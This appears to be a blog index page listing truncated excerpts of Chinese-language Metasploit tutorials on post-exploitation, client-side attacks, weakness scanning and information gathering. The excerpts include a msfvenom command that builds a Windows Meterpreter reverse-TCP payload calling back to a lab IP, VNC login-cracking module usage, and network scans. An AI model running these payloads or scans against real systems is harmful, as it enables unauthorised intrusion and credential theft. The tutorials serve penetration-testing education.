Yanug

Mestasploit – 后渗透测试阶段1. 获得普通账号权限已经获得目标系统控制权后扩大战果提权信息收集渗透内网永久后门基于已有 session 扩大战果msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.6.128 LPORT=4444 -b “\...

Mestasploit — 客户端渗透1. 简介在无法突破网络边界的情况下转而攻击客户端社会工程学攻击进而渗透线上业务网络含有漏洞利用代码的 web 站点利用客户端漏洞含有漏洞利用代码的 doc、pdf等文档诱骗被害者执行 payload2. 攻击 windows诱骗被害者执行 payload （windows）msfvenom –payload-optio...

Mestasploit — 弱点扫描1. 简介根据信息收集结果搜索漏洞利用模块结合外部漏洞扫描系统对大量IP地址段进行批量扫描误判率、漏判率2. VNC 密码破解use auxiliary/scanner/vnc/vnc_loginmsf > use auxiliary/scanner/vnc/vnc_loginmsf auxiliary(scanner/vnc/vn...

Mestasploit — 信息收集1. db_nmap跟 nmap 用法一样，结果存放在 msf 的数据库中msf > db_nmap -sV 192.168.110.0/242. 主机发现扫描use auxiliary/scanner/discovery/arp_sweep setINTERFACE、RHOSTS、SHOST、SMAC、HREADS；runmsf &g...